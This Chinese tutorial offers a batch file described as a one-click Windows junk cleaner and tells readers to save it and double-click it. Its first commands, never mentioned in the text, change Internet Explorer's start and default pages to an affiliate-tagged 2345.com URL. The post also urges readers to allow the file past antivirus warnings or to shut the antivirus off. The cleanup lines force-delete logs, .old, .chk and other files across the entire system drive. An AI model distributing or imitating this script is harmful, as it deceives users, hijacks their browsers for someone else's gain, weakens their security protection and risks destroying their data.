系统瘦身，清理系统垃圾，使用电脑管家软件等都可以实现。不过如果你不会使用或者不喜欢多安装其他软件。那就试试如下的方法吧，采用批处理命令一步实现。保证效果很好哟。
建立一个txt的文本文档，方法如下：在电脑屏幕的左下角按“开始→程序→附件→记事本。然后复制以下各行，并粘贴。 点“另存为”，路径选“桌面”，保存类型为“所有文件”，文件名改为：系统垃圾一键清理.bat，保存类型改为：所有文件。确定即可。使用时只要双击运行该文件即可。

如果有某些软件或者杀毒软件等提示异常或病毒时，要允许运行，或直接关闭该类软件这些软件咸吃萝卜淡超心，人家本来就不是啥子病毒嘛，只是一个可执行程序罢了。
--------本行请不要复制，需要复制的代码如下：-----------
@echo off
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.2345.com/?kgmi252721 /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.2345.com/?kgmi252721 /f
echo.
cls
color a
echo.
echo.
echo        你 好 ,即 将 开 始 清 理 你 的 计 算 机 系 统 垃 圾 文 件， 可 能 需 要 一 分 钟 时 间，请 耐 心 一 点 点。
echo.
echo        请 按 照 提 示，按 任 意 键 或 回 车 键 或 《Enter》 键，谢 谢!
echo.
echo.
pause


@echo off
echo 正在清除系统垃圾文件，请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清除系统垃圾完成！
echo. & pause